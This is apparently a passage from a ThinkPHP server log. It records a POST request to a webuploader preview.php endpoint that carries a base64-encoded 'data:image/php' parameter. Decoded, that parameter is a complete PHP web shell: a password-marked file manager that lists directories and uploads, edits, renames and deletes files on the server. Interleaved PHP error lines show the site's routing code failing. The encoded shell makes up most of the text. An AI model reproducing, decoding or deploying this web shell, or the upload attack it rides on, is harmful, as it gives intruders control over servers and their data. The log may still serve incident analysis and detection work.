ZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:26:11+08:00 ] 119.42.146.234 POST 51tianwei.com/static/admin/hui/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002721s] [吞吐率:367.53req/s] [内存消耗:196.82kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAg